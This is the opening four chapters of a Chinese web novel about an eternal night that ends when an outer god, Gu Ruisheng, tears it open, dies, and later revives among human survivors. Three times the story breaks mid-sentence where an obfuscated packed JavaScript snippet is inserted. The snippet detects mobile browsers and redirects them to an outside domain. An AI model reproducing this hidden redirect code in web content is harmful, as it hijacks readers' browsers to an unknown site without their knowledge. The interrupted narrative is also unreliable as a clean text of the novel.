《我,人类,外神,救世主》 1. 第 1 章 21世纪之初,在某个普通的晚上,黑夜来得比以往每一次都更加的浓重而深沉,并从此拒绝离开。 全球温度急剧下降,地表植物在三十天内灭绝百分之八十以上,生态系统崩溃…… 除此之外,更令人难以捉摸的,是每天还有成千上万的人陷入原因不明的昏迷,并最终堕入永恒的黑暗。 人口大幅度下跌,一部分人因畏惧严寒躲入地下,成为那些在沉眠纪元之前便建立了的地铁站与地下商场的一缕幽魂,而另一部分人出于种种原因扎根于地上,固执地对抗着永恒的灾难。 男孩和他的妈妈就是后者中的一员,他今年只有12岁,沉眠纪元降临之时他还是个不记事的小孩子,如今却已经可以独立出门寻找物资了。 右手戴着好几层手套,拿着一根细棍导盲,戴着露指手套的左手则揣在口袋里,只有需要的时候才偶尔伸出,摸索着感知自己面前的事物。 沉眠纪元的黑夜是一种仿佛能吞噬一切的颜色,不像他妈妈曾经讲过的拥有月亮和星辰的晚上,是真正意义上的伸手不见五指。 现在的气温已经接近零下四十度,但触觉是沉眠纪元中最不可缺失的感官之一,所以哪怕冻得发疼,他也只能默默忍受。 很快,他一路摸到了家附近的一家商场。 男孩先是按照之前的习惯装了一袋子方方的、硬硬的铁皮罐头,背上试了试重量,思考片刻,又放下袋子多装了一倍。 现在距离沉眠纪元已经过去了八年多的时间,即使是罐头也已经过期很久了,上次他辛苦背回去的罐头中就有几个完全不能吃的。 如果不是这样,他现在还可以在家陪着妈妈,而不是被迫出门寻找食物。 在摸索的途中,大概是那一排的罐头都被他清空了,突然,他摸到了一个圆滚滚的、很冰的、光滑的表面有些某些凸起纹路的东西。 他小心翼翼地拿起那个陌生的东西,晃了晃,那感觉是实心的,从构造上来说摸起来是个封闭的玻璃罐子。 根据妈妈告诉过他的知识,他推断,这可能是个冻硬了的水果罐头。 他将其装好,再次背上袋子的时候差点被拽倒,为此不得不扶一下地面,原本干涩的手因此被扯出了一道道小口子。 回程路上的体力远不如来时,但他的心情比之前要欢快不少,即使负重比以往更甚,但却一如既往地准时到家。 放好东西以后他随便摸了两个铁皮罐头,又摸出了今天最独特的战利品水果罐头,来到了他记忆中妈妈躺着的位置。 摆好了锅和勺子,做完了其它所有的准备工作,男孩最后点燃了不知道重复燃烧了多少次、已经所剩无几了的蜡烛,决定稍微加热一下食物。 微弱的烛光照亮了这片角落,他放下手中的东西。 妈妈如今正死死盯着天花板的位置,胸膛没有了起伏,被褥底下,腰部向下的位置异常地干瘪,像是那里什么都没有一样。 男孩摸了摸妈妈的脸,又用自己的脸颊贴上对方的,最后掀开了沉重的被子。 妈妈的下半身已经溶于一片黑暗,只有人型的影子。 他盯着看了两秒,随后重新给妈妈盖好被子,自己躺在被子外面,并将妈妈的胳膊拉出来枕在脑袋底下,拱了拱。 大约十分钟之后,蜡烛眼看着就要熄灭,被子下的空缺逐渐上移,已经来到了胸腔附近的位置。 男孩最后看了眼妈妈,又顺着对方的视线望向天花板。 这个屋子据说是他刚出生时的婴儿房,装修十分童趣,天花板中央的吊灯是精挑细选过的,是乘坐着月亮,被星辰环绕的小兔子的造型。 天花板上的星辰是用某种反光材料绘制而成的,在烛火的照耀下反射着微光。 他沉默地盯着看了两秒,随后心底做出了决定。 男孩在黑暗吞噬妈妈的脖颈之前离开了房间,带着水果罐头、剩下的所有蜡烛和自己的小木棍一路摸到了楼顶的露台上。 他将仍旧冻得邦邦硬的水果罐头摔在地上,听声音应该是碎了,随后他点燃蜡烛,借着光亮捡了一块没有玻璃的水果罐头冰塞进嘴里。 他不知道这是什么水果,妈妈和他描述过的很多水果好像都不完全符合罐头的外型,瓶身上之前倒是有字,只是他不认识,而认识的妈妈没来得及看。 罐头冰块的味道有些奇怪,他没有尝到过,也描述不好,有点想吐掉,但这是妈妈之前念叨过的食物,所以他想了想,还是任由冰块在嘴里一点点融化。 感受着嘴里的异样,他长舒一口气,随后举着剩下的蜡烛,努力向天空的方向伸去。 漆黑的、从男孩记事起便从未变化的天空依旧如常。 实际上,哪怕是他自己的身边,被照亮的位置也极其有限。 但他并没有放弃。 可能就如妈妈曾经说过的,人的一生中总是会做出一些莫名其妙的选择。 手上的蜡烛很快就要烧完了,蜡油滴落在皮肤上是和冻疮的疼痛不完全相同的另一种感觉,橙红色的火苗摇曳着,仿佛随时会熄灭。 男孩突然一愣:“……?” 摇曳着? 他屏住呼吸,盯着那依旧颤动着的火苗出神。 妈妈和他讲过的很多故事中,都提到过“风”的存在。 但是风是由太阳照射地面后的温度差形成的,在太阳旷工已经有八年之久的如今,地表温度趋于均匀,气压几乎消失,风力便也完全停止了。 突然,火苗颤动的幅度陡然加大,并倏地熄灭,只余一缕灰色的细烟。 他抬头,发现自己看清了从未想象过的高度。 黑夜被粗暴又强硬地撕开了一角,阳光突兀地洒落大地。 现在竟然应该是白天。 沉眠已久的城市被唤醒,日光照耀在建筑表面的寒冰上,亮得刺眼。 早已死亡的枯树依旧伫立在原地,枝杈上挂着垂坠的冰柱,车辆整齐地排列在道路两段,已经被彻底冰冻在原地,到处都是人型的黑影,每个黑影后面都代表着一条生命,就和他的妈妈一样。 一切都变了,但又有些地方没变。 男孩注视着眼前的一切,默默地与记忆中对比。 他以为自己早就忘记了,但他其实没有。 他抬头,黑夜此时像是某种具有实体的东西,此时上面的裂口还在逐渐扩大。 浓稠的,质感介于液体与固体之间的黑夜正从裂口处流出,坠落,离得近了,他才意识到那黑浓的水滴到底有多么巨大。 它坠落在距离男孩不远处的地方,他曾经幼儿园的操场上。只是一滴便充盈了整片区域,装不下的部分呈散射状顺着教学楼的角度飞溅溢出,有一部分无可避免地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074241|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波及到了男孩的位置。 他避无可避,只能伸手去挡,手臂的位置被黑夜吞噬,徒留手肘位置黑漆漆的断口,并以一种肉眼可见的速度向上延伸。 但男孩没有注意这些,他现在的注意力完全被一些他无法理解的东西所吸引。 撕开黑夜的竟然是一双人类的手——至少那看上去无限接近于人类的手,甚至在接触裂口的位置还有一些伤口,某种红色的液体缓缓溢出。 男孩盯着那抹红色,好奇那与人类的血液是否一致。 很快,他便得到了验证的机会。 黑夜鼓动着反击,那手上的伤口也被越撕越大,黑红混杂的液体从天空坠落,正巧在男孩头顶的位置。 他下意识地抬手感受,虽然他现在的胳膊举起后并不比脑袋更高。 下一秒,红黑色淹没了他。 这场战争好像持续了很久,但与之前仿佛永恒一样的黑夜相比又好像很快。 天空被还给了人类,人们盯着天上的太阳,眼泪止不住地流淌。 而在宇宙之中,人们看不到的地方。 顾瑞生正俯瞰着大地,注视着林立的建筑与流泪的人,在沉默中感受着自己的消散。 他现在很虚弱,他知道自己快要死了。 不过这也在预料之中,他在动手之前就知道对方比自己要强很多。 现在能两败俱伤已经是超常发挥了。 但这还不够,他知道对方的状态远比自己要好,而哪怕对方只剩一口气,也远不是人类、乃至地球可以承受的。 对方想必很快就会重振旗鼓吧……好在外神的时间感知和人类有极大的差别,顾瑞生这次至少为人类争取了上千年的喘息时间。 剩下的就交给人类自己了。 生命的最后时刻,顾瑞生看向了自己身后不远处的位置。 祂看上去像是星云,又像硕大的眼睛,无论在什么角度、什么时间,都是那副模样,永恒不变。 有人叫祂静滞之瞳,有人叫祂原点,但所有人都有一个共识——祂是宇宙中亘古不变的恒量。 在之前与其相处悠久岁月之中,顾瑞生曾经无数次感叹众人评价的公正与准确。 无论是外表,还是内在。 曾经,在漫长而无望的游荡中,顾瑞生也向祂祈求过安慰。 但几次之后他便放弃了,因为那与祈求一块石头并没有本质上的区别。 可惜这么多年过去了,在他最后想找人说些话的时候,身边还是只有祂一个。 那就这样吧,都无所谓了。 “这就是我的最后了。” 顾瑞生说:“好歹相处这么长的时间,和我道个别怎么样?” 静滞之瞳还是那副模样,顾瑞生的眼前却开始模糊。 “比如,如果你不知道说些什么,就祝福我下辈子不要穿越到宇宙里?或者至少能遇见一个有人情味的搭档?能听得懂阴阳怪气的那种。” 他最后笑了下。 混沌终于抓住了他,顾瑞生眼前陷入了一片黑暗。 静滞之瞳长久地注视着顾瑞生消散的地方,随后望向地球,心底升起了一丝异样的情绪。 祂想弄清楚其中的缘由,于是便抽出了大部分的情绪,将其投射到地球上。 这一刻,祂觉得自己被剜掉了什么重要的部分。 2. 第 2 章 顾瑞生没想到自己还会重新睁开眼睛。 他觉得自己的脑袋很昏、很胀,好像有很多人在他的耳边说话,但无论他多么努力,都听不见对方到底在说些什么。 灵魂和身体之间好像缺乏润滑,努力很久却连一个小指都无法挪动。 有那么相当长的一段时间,他只是保持着仰躺在地上的姿势,安静地望着天空。 天空的颜色逐渐由清透的淡蓝转为深沉的橘红,随后彻底黯淡下去。再后面的过程则像是前者的倒放。 如此重复。 有时顾瑞生会分不清时间是不是真的在往前走。 空中没有飞鸟,地上没有人影,目之所及的高楼像是很久没有人维护,玻璃上落满了灰尘。 世界好像又只剩下他一个。 过了几天,顾瑞生的身体状况好了一些,他挣扎着起身,这时,他才发现自己不远处有个深坑,丝丝缕缕的、纤维一样的黑影从中伸出,而他半个身子不知为何竟然陷在其中几缕聚集而成的黑暗中。 顾瑞生撑着身后干净的土地缓缓抽身,黑色像是没有实感的泥巴一样从他的皮肤上脱落。 失去目标的纤维摸索着伸展,但此时顾瑞生早已越走越远。 重新站立在大地之上的感觉恍若隔世。 突然,他听见远处有脚步声正在逐渐接近,顾瑞生猛地偏头望去,远远地,他看见有一个头发花白、看上去六十岁左右的老人正循着地上的什么东西一点点地向着他的方向走来。 老人应该是在挖草,神情专注,每一次挖掘出来的东西都被他小心翼翼地连着根系上的泥土一起包裹在润湿了的布料中收好。 见对方好像一直都没看见站在不远处的自己,顾瑞生在心底回忆半晌,鼓起勇气主动开口:“你好,很高兴见到你……” 他精心准备的发言稿并没有得到赏识,老人明显受到了惊吓,手上刚挖出的嫩草和铲子一起脱手飞了出去,前者飞到了顾瑞生的脸上,后者拍在了顾瑞生的肚子上。 顾瑞生盯着掉到地上的铲子和嫩草看了两秒,慢半拍地抬手,一手捂脸,一手摸肚子。 老人好像有很多话想说,但最终他只是让顾瑞生先捡起嫩草和铲子,来他身边。 顾瑞生放下手,听话地照办。 刚走到老人身边,对方便钳住顾瑞生的胳膊,大步向前。 顾瑞生没有反抗,一路上,他发现地上有很多黑影,而老人每次都避开了那些影子。 这很正常,因为那都是坏东西的一部分。 外神和人类不同,没有内脏与血肉,反而是由能量构建而成的,所以脱离本体的部分也不会“失活”,人类对其没有任何办法,只能躲着走。 而不正常的一点是,顾瑞生清楚这些残渣对人类的危害,所以临死前努力清理过一遍了。 现在地上的这些人影,都是新的。 终于来到了相对安全的位置,人眼可见的地方没有任何不安全的因素,老人放开了顾瑞生,看着他的眼睛问:“你在那种地方干什么?” 顾瑞生回答不上来。 但他也不想欺骗这么多年来终于遇上的第一个同胞,于是简略地解释道:“我和别人打架,打输了,以为自己要死了但其实最后没死,但为什么没死不记得了。” "……打架?还被打失忆了?还在禁区?……你、唉,算了……" 老人嘟囔道:“真搞不懂你们这种年轻人脑子里都在想什么。” 顾瑞生问:“禁区是什么?” 老人一脸复杂地望着他,又露出了那种有很多话想说的表情。 顾瑞生这时突然意识到,和静滞之瞳的相处极大地影响了他的社交能力,当他觉得静滞之瞳是块石头的同时,别人可能也觉得他是个人机。 不等他想出一个更加拟人的回答,老人看了看已经逐渐暗下来的天色,说:“先找个地方休息,有什么问题到时候我们再细谈。” “不要行走在黑夜之中,是所有从沉眠纪元中活下来的遗民的常识。” 顾瑞生眼皮一跳,强忍住才没有立刻发问。 路上两人简单交换了名字,顾瑞生因此得知老人名叫苏行止,但更多的对方就没说了。 因为交谈的时候稍微耽误了一些时间,回去的路上,不用再问,顾瑞生便明白了人们不再在夜晚出行的理由。 天色越暗,地上的影子便越是活跃,它们的表面开始有了微妙的波纹状态的起伏,偶尔还会凝聚成气泡或者水珠似的东西向上漂,像是想和天空重新融为一体。 苏行止说的落脚点就在附近,一栋看上去曾经辉煌过的高级小区里。 小区是一梯一户的配置,每一层都需要刷卡才能到达,别说入户门,连楼梯原本都是被锁起来的。 只不过现在两者都已经被暴力破开。 顾瑞生眼看着对方轻车熟路地将已经变形的铁门掩耳盗铃式地放回原位,招呼着自己进屋。 房子的面积不小,里面的东西也很多,随意地散落在地上。 虽然因为停电的缘故,屋内显得有些昏暗,但顾瑞生的眼力却能发现地面上并没有什么灰尘,表面上的凌乱也是有人刻意维持成这样的。 苏行止指着客厅的单人沙发,“坐吧,就当是自己的家。” 顾瑞生坐好,这时他注意到,在另一边的长沙发上,有一大一小两个影子。 从姿势看,它们好像还牵着手。 苏行止坐在了两个影子的旁边,中间只隔了一个拳头的距离,和之前拉着顾瑞生躲避的紧张完全不同。 “不知道禁区的话,那你知道沉眠纪元是怎么结束的吗?” 顾瑞生从字面上理解了一下,试探性地回答:“知道一点。” “……那我就从这开始说好了。” 永夜降临后的2794天,天空被撕开了一道口子,人类文明重新睁开了眼睛。 在那天,黑夜坠入大地,形成了一个巨大的、深不见底的空洞。 后来,这天被称为创新世纪的开端,而那个空洞附近被称为禁区。 而今年,是创新世纪的第五年。 “……五年?” 顾瑞生有些不可思议地重复:“才过了五年?” 如果说之前发现自己还活着的时候他只是有些困惑的话,那现在顾瑞生几乎感到惊恐。 如果他一个本应死去的人都恢复的这么快,那坏东西呢? “你还好吗?” 察觉到顾瑞生的情绪,苏行止拍了拍他的手。 对方粗糙的手掌带来了某种安定的情绪,顾瑞生摇摇头,沉默半晌后问道:“这五年有什么特殊的事情发生吗?” “沉眠纪元之后没什么是不特殊的。” 苏行止依旧没有放开手,“不过我大概知道你想问什么。” 自创新世纪以来,太阳再也没有请过假,夜晚的天空也重新挂上了月亮和星辰,一切都好像恢复了正常。 但这只是表象。 即使是现在,夜晚依旧有人失踪,而且比之前更加隐蔽。 人类推测,危险并没有完全远离,空洞底部的东西迟早会重新爬上来,那些像神经末梢一样延展的触须就是证据。 顾瑞生觉得自己好像明白了什么:“你就是为了这个才到禁区去的吗?还有那些影子。” 苏行止指了指自己的背包:“我只是去拾荒的。” 很多器械都因沉眠纪元时期的长时间低温受到了损伤,工业水平倒退半个世纪以上,生产力跟不上,活下来的大部分人便只能和之前的八年一样靠到处捡东西维生。 “对了,给你看个好东西。” 说着,他从背包里拿出一个巨大的手摇发电手电筒。 顾瑞生注意到,对方的背包这一下便空了大半。 “在沉眠纪元,这可是可遇不可求的。之前社会发达的时候,很多家庭都不缺电用,所以灾难突然降临的时候,别说手电筒和蜡烛,能在家里翻出个打火机就不错了。” “当时我是不抽烟的,所以连个打火机都没有。不过好在事发前两天我女儿刚好过生日,商家特别送了火柴和蜡烛。” “一开始我还想着借着这几根蜡烛去商场找个手摇发电机之类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074242|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西,但是当时大家都习惯网购,而手摇发电机的需求量本来也少,普通的商场根本找不到。” 苏行止缓慢摇动着手柄,“这可能变成我的一种执念了吧,所以虽然这玩意现在用处完全没有之前大了,但前两天看见的时候我还是没忍住带上了。” 摇了一会,他停了下来,打开手电筒后屋内明亮了不少,顾瑞生也因此注意到了墙上的照片。 那是一家三口的合照,女孩看上去当时刚刚出生,而男主人应该也不到三十。 顾瑞生看了看沙发上较小的那个影子,扭头看照片,又看了看苏行止,再回头看照片。 苏行止目睹了整个过程,并将手伸向了背包里的铲子。 顾瑞生开始低头扣手。 苏行止将手从背包里抽了出来,带出一本小册子:“至于禁区的那些影子,有一部分应该是像我一样的拾荒者,不小心被永远留下,但更多的是各基地派遣专门去定期检查禁区情况的人,他们一直试图研究十三年前和五年前到底发生了什么。” “这上面是一些大基地总结出来的经验,不过现在印刷技术不行了,所以是手写的,你看完自己抄一份,原版还需要还给我。” 顾瑞生接过小册子后打开看了两行,又快速地翻完整本,随后陷入了沉思。 苏行止上下打量了下他,“不识字吗?也是,你看上去那么年轻,十三年前上小学了吗?” 顾瑞生小声道:“上了的。” 他还想再挣扎一下,苏行止叹了口气,伸手拿回册子:“我给你念吧。” 顾瑞生安静地坐好。 他注意到,对方在翻开册子的时候,先是略过了第一页被抄写得十分规整的两段字,直接来到了第二页。 老人低沉的声音在空间中回荡,他告诉他夜晚不要出门,还告诉他不要碰那些黑影。 顾瑞生听着听着,心情有些复杂。 从目前看,他之前的努力并没有白费,坏东西现在还是半死不活的状态,表现出来的威胁性也不算高。 但即使是这样,为了总结这些规则,人类还是付出了惨痛的代价。 顾瑞生想起了禁区附近的影子,一层叠着一层。 苏行止敲了下桌面:“认真听。” “我在认真听,只是在思考一些事情。” 顾瑞生望向窗外。 这个角度刚好能看见不远处的深坑,模糊的夜色中,好像有什么东西正在涌动。 他突然问:“之前被你略过的那页,写了什么?” 苏行止看了他两眼,将小册子翻回开头。 “【至沉眠纪元最后的守墓人,断裂时间轴的缝合医师,创新世纪的接生者,将旧日残躯锻造为庇护穹顶的伟大父神。】” “【我们赞美您的崇高,感恩您的慷慨,仰望您的慈爱。】” “【我们向您承诺,】” “【人类不会灭亡于今晚。】” 顾瑞生没想到这么重要的位置竟然写了这种东西,一时间有些困惑:“这是谁写的?” 在苏行止念出那串尊名的时候,他能感觉到耳边有模糊的合声。 那串尊名竟然指向了他。 这让顾瑞生十分地不解,因为其中描述的某些内容他本人都有些摸不着头脑。 苏行止摇摇头,“不知道,好像突然就流行起来了,大家也不介意读一读。” “毕竟五年前有什么东西救了我们,至少这点是不会错的。” “这样啊。” 顾瑞生晃了晃脚,突然说道:“之前刚见到我时的问题,能再问我一遍吗?” 他不知道眼下的选择会导向怎样的未来。 也许人们会感激他,毕竟现在的情况确实比之前那八年好些,也许人们会警惕他,因为非我族类其心必异,死掉的恩人才是好恩人。 但他知道,有自己的帮助,人类能少牺牲很多。 苏行止合上了手上的册子,认真地望向他的眼睛,“你之前在禁区做什么?” “嗯……” 顾瑞生抿唇:“这是一个很长的故事。” 3. 第 3 章 顾瑞生感觉有些挫败,又有些困惑。 因为在他讲完自己的故事后,苏行止对他的态度没有任何变化。 倒不是说他希望对方立刻信任他或者激动得像宇宙中曾经遇到过的某些狂信徒一样,心理或物理层面地剖析自己……但至少要有些反应吧? 现在一点反应都没有,顾瑞生既质疑对方的理解能力,又担忧自己的叙述能力。 就这样一夜没睡,第二天太阳刚刚升起便被苏行止拉着出发,等到日上三竿才终于在某家百货大楼短暂歇了下脚。 他的脚步有些虚浮,苏行止见状笑了:“怎么,神做久了,忘记人其实是会累的了?” 这是顾瑞生和对方坦白之后,苏行止第一次直面这个问题。 但顾瑞生并没有感受到应有的重视,他只感受到了对方的嘲笑。 百货商场已经荒了十三年,地面上满是灰尘,能看清杂沓的脚印,进门的位置最为集中,随后像是超越了时空限制的无声导购一样分散开来。 顾瑞生跟着苏行止沿着脚印最密集的那条道路前进,很快便来到了原先贩卖食品的区域。 直到现在,货架上竟然还有玲琅满目的商品摆放着。 顾瑞生记得苏行止和自己说过现在的生产力极度低下,之前看对方背包里除了手电筒就是嫩草和铲子的时候,他本来已经做好了一直饿肚子的打算。 但眼前的景象却将他之前的想法完全推翻。 顾瑞生想询问这背后的缘由,但苏行止调笑的表情仿佛就在眼前,于是他决定先自行思考。 如果之后实在想不明白,那就到时候再说。 苏行止十分熟练地在路上捡了两袋饼干,来到罐头区后,对着一堆罐头敲敲打打,从中挑出两个递给顾瑞生,自己也选了两个。 顾瑞生学着对方的动作撬开罐头,这四个里面只有一个是明显不能吃的。 “这次运气不错。”苏行止点点头,拿出了自己的勺子。 “我只带了自己的餐具,你喜欢什么样的自己去选一个吧,货架就离这里不远的地方。” 行止给他指了个方向,顾瑞生循着方向找过去,发现中间正好隔了一个摆放着水果罐头的货架。 玻璃底座仍旧好好地摆放在货架上,但罐身却都裂开了,里面的液体全部顺着边沿流淌到了地上,即使现在早就干透,踩上去也是粘粘的。 大概是因为之前的低温,罐头结冰后把瓶身撑裂了吧。 顾瑞生绕过这排货架,来到最初的目的地,选了一个印着小熊图案的筷子叉子勺子俱全的餐具盒,回来的时候还顺手拿了一瓶淡蓝色的小甜水。 天空的颜色,好看。 他带着自己的战利品凯旋,苏行止看了他一眼,比了个拇指:“学的很快。” 顾瑞生矜持地点头,喝了一口小甜水,随后发现那蓝色其实是瓶子的颜色。 两人休整完后带着垃圾一起离开百货商场,重新踏上旅程。 又走了差不多两个小时左右,路边偶尔便能见到一些和苏行止一样背着行囊的拾荒人。 终于到达目的地的时候,顾瑞生稍微惊讶了一下,因为他眼前的并不是想象中森严的基地,而是一个大学城。 后来顾瑞生一想,感觉这个选择其实很有道理。 现在的人类没有能力建造正式的生存基地,而大学城虽然样样都不算拔尖,但无论是住宿食堂还是医疗——甚至部分实验都能兼顾,性价比很高。 苏行止带着顾瑞生来到了大学的校医院,一个看上去二十岁后半的年轻人接待了他们。 对方和苏行止简单交谈了两句,顾瑞生听见那个年轻人念叨着什么“又来了一个”。 这让他心底升起了些微妙的预感。 两人交谈完之后,苏行止对顾瑞生展示了下背包里的杂草,说自己还有事情要忙,叫他好好听医生的话。 年轻人适时站了出来:“你好,我叫谢临川,大概的情况我已经听苏教授说了,接下来就由我带你去医生那里。” 顾瑞生张了张嘴,一时间不知道是应该先感叹怪不得苏行止看着老原来是个教授,还是先质疑自己为什么要去看医生。 路上谢临川时不时就瞥他一眼,可能是看顾瑞生眉头紧蹙,还一直不说话,前者思考了一阵,从口袋里掏出一块巧克力递给他。 顾瑞生乖乖接过,看了两眼,上面的最佳食用日期远在十二年以前。 他能看出谢临川并不是想找茬,所以这便是对方自己平常会吃的东西,也是生产力确实没有恢复的一点作证。 想着现在正好苏行止不在,顾瑞生问出了之前的疑问。 明明坐吃山空,为什么大家对食物的追求却并不迫切? 谢临川解释道:“原本摸黑的时候,大家都不敢一次拿太多东西,体力不够,视野又差,万一不小心滑倒可是要命的。” “所以虽然为了抵御寒冷按理来说应该摄入更多的能量,但大部分人却只是勉强维持着饿不死的状态,整体消耗的食物并不多。” “后来天亮了,可以相对安全地来回于商场,但大家发现人类死的实在是太多了,剩下的物资仍旧过剩,根本不需要抢。” 说到这里他扭头望向顾瑞生,似笑非笑:“你猜我们剩下的物资还能撑多久?” 顾瑞生沉吟片刻,如果过剩到大家觉得不需要争抢的话…… “十几年?” 谢临川好像从顾瑞生的猜测中得到了某种自虐式的快乐:“在维持正常活动的情况下,我们现有的储备足够剩下的人撑上大约160年。” “如果不考虑腐败问题的话,这个数字甚至可以延长到上千年。” 顾瑞生握紧了手上的巧克力。 此时正巧走到了办公室的门口,谢临川右手搭在把手上,边推门边用一种戏谑的语气道:“欢迎来到地球,我们这里有吃不完的食物,是完成度百分之一的乌托邦。” 办公室的面积不算小,靠门的那侧摆了一个沙发和一个茶几,两个面对面摆放的办公桌被安置在窗前,此时都坐了人,一个看上去和苏行止差不多大,一个看上去和谢临川差不多大。 谢临川再度躬身做出“请”的姿势,待顾瑞生进办公室之后便转身离开,缓缓关上了门。 其中稍微年长的那个听到声音后抬头示意:“稍等一下,我这就来。” 他飞快地在笔记上写了些什么,随后将笔记收好,换了一本新的,引导顾瑞生一起坐到沙发的位置,面对着面:“你好,我是程鹤,大家喜欢叫我程医生或者程老。我们可以慢慢聊,你想从哪里开始?” 如果说刚刚顾瑞生还因记不清地球上的科技树到底点成什么样,能不能通过验血或者X光片等科学手段证明他非人类的身份而犹豫的话,那么现在顾瑞生有八成的把握苏行止践踏了他的真诚。 他面无表情:“我不需要看心理医生。” 程老笑了:“实际上所有沉眠纪元的遗民心理都不算健康,包括刚刚给你引路时想引起你注意的年轻人,也包括我自己。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074243|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不过我们今天不讨论这个。” 说到这里他笔尖点了点空白的纸面:“实际上,最近几年我们接待过不止一位脑海中突然浮现奇怪记忆的人,我们猜测这些人在五年前受到了神秘能量的影响,严重的甚至会分不清自己的真实身份。” 这从理论层面上确实是有可能的,被外神污染了的人会精神失常,只是多出一段记忆已经是最轻的后果了。 但…… 顾瑞生抿着唇,没忍住打断道:“我能分清。” 这戳到了顾瑞生的痛点,为了记清自己最初的模样,他耗费了相当的心神,付出了相应的代价。 他坚定地重复道:“我能分清。” 程老敏锐地察觉到了顾瑞生态度突然认真,立刻道歉:“这里可能有一些误会,我并没有质疑你的意思,我并不是心理医生,定义你并不是我的工作。” 他试图缓和气氛:“实际上,我过去当医生的时候主攻的是心外科。” “而我现在的工作,是从那些记忆中筛选出对人类有用的信息,并试着加以利用。” 程老在顾瑞生的注视下从口袋中掏出一个小册子,翻到第一页,摊在两人中间,指着那四段式尊名和下面的承诺:“比如这个,就是我们的一个小尝试。” “我们推测信仰和认知会对那些存在有所影响,所以我们赞颂自己的同胞,隐秘敌人的情报。” 所以小册子上才没有什么关于坏东西的信息…… 顾瑞生意识到,人类确实牺牲了很多,但他们得到的也比他想象的要多。 他松了口气,同时程老的态度也让他更自然了些。 “我原本以为人类已经……” 顾瑞生试图组织语言。 穷途末路?祸到临头?前程惨淡? ……好像都不太对劲。 程老笑着收回小册子:“我们只是打了一场败仗,但我们还没有输。” “还有什么其它想问的吗?” 顾瑞生立刻放弃在心底寻找一个恰当的形容,摇摇头。 程老满意地重新拿起空白的笔记本,同时招呼屋内另一位一直安静地待在一旁的年轻人过来。 “介绍一下,这是严卓,是我的助手。” 那是一个个子很高的男人,肩膀宽阔,腰背挺直,面容冷峻到有些不近人情,站在人旁边的时候就像一座小山,隐隐散发着压迫。 所以,如果可以的话,顾瑞生希望对方不要站在自己的身边一言不发,或者至少换个地方站着。 他被对方居高临下的注视盯得有些坐立不安:“怎么了吗?” 毫无预兆的,男人开口问道:“你有男朋……” 程老将笔记拍在茶几上,打断了男人的发言:“不好意思,我的助手今天可能有点不在状态,今天正好时间也不早了,不然我们明天继续吧。” 顾瑞生:“…………” “?” 直到被程老塞了一堆零食推出门外,顾瑞生都没想明白到底发生了什么。 门内,程老撸起袖子,手上是卷成纸筒的笔记本。 “你干什么?” 严卓表情坦然:“你教过我的,要表现的坦率一点,想要什么就说出来。” 程老瞪他:“我还教过你做人要讲礼貌,你的礼貌呢?” “我只是有种预感……” 严卓望向顾瑞生离开的方向,视线好像穿透门板来到了很远的地方。 “这一刻我已经等了很久了。” 4. 第 4 章 眼看着天色再度暗下,顾瑞生站在原地思考两秒,随后果断转身离开。 现在已经到需要找地方休息的时间了。 离开校医院,重新走上校园的街道上,顾瑞生蹲到了一个看上去很友善的人,询问新人可以住在哪里。 那是一个四十多岁的女性,头发剪得很短,穿着干净整洁,耳朵上还挂着圆圆的大耳环。 突然被拦住,对方也没生气,热心地解释道:“我们虽然聚在一起,但并没有形成具有规模的正式组织,当然也没人分配宿舍,你随便找一间没人的住进去就好。” 顾瑞生有些拿不准主意:“这样好吗?” “没办法,活下来的人总要生活。” 那人耸肩:“如果你觉得不好,可以帮忙打扫一下卫生。” 越是了解,顾瑞生便越是意识到,人类的适应性比他想象中要强上很多。 “你是今天新来的吗?” 中年女人主动提出:“那你大概没有生活用品吧,可以去超市那里看看,那里原本就有囤货,后来人们陆陆续续根据自己的需要拿了一些又填进去一些,现在东西还是很多,日常用品齐全。” 顾瑞生感激道:“谢谢你。” 中年女人:“不客气。” 临走的时候,对方还把自己空置的折叠小推车借给了顾瑞生。 “我住在C1楼的203,等你用完还给我就好。” 推着小车,顾瑞生顺着中年女人刚刚所指的方向,刚好也是那人来时的方向走了一会,很快就找到了超市。 现在天逐渐暗了下去,超市中的人也陆续收摊,其中有一个摊位靠门的中年男人在发现顾瑞生进门之后,便主动凑上前来,问他需不需要帮助。 “这个时间来的基本都有要紧事,能帮就帮一下。” 那人解释道。 顾瑞生发现,自己醒来后遇见的都是通常意义上的好人。 突然,他想起了谢临川之前的话。 他觉得对方说的不对。 这不是完成度百分之一的乌托邦。 起码在顾瑞生看来,完成度至少有百分之十。 中年人帮他选好了东西,塞进推车里,并在得知顾瑞生还没有选好住的地方的时候,向他推荐了C1宿舍楼。 “C1距离除了教学楼之外的大部分地方都很近,比如超市和食堂。” 